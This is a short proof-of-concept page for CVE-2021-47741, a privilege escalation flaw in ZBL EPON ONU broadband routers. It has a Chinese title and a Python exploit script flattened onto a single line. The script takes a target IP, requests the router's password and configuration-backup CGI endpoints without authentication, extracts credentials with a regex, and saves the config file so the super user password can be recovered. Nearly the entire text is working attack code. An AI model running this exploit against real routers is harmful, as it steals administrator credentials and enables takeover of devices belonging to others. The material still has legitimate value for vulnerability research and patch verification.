CVE-2021-47741 ZBL EPON ONU路由器配置端点权限提升漏洞

#!/usr/bin/env python3 """ CVE-2021-47741 PoC - ZBL EPON ONU Router Privilege Escalation This script demonstrates the privilege escalation vulnerability in ZBL EPON ONU Broadband Router V100R001 """ import requests import sys import re def exploit_cve_2021_47741(target_ip): """ Exploit the configuration endpoint vulnerability to obtain super user credentials """ base_url = f"http://{target_ip}" print(f"[*] Targeting: {base_url}") print("[*] Attempting to exploit CVE-2021-47741...\n") # Step 1: Try to access the password disclosure endpoint password_endpoint = "/cgi-bin/webui/getPassword" print(f"[*] Trying password endpoint: {password_endpoint}") try: response = requests.get(base_url + password_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Password endpoint accessible!") # Extract password from response password_match = re.search(r'password[=:]\s*["\']?([^"\'<>]+)', response.text, re.I) if password_match: print(f"[+] Found credentials: {password_match.group(0)}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 2: Try to access configuration backup endpoint config_endpoint = "/cgi-bin/webui/configBackup" print(f"\n[*] Trying config backup endpoint: {config_endpoint}") try: response = requests.post(base_url + config_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Config backup accessible!") # Save the config file with open(f"config_backup_{target_ip}.bin", "wb") as f: f.write(response.content) print(f"[+] Config saved to config_backup_{target_ip}.bin") print("[*] Decrypt the config to find super user password") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Exploitation complete. Use obtained credentials for admin access.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit_cve_2021_47741(sys.argv[1])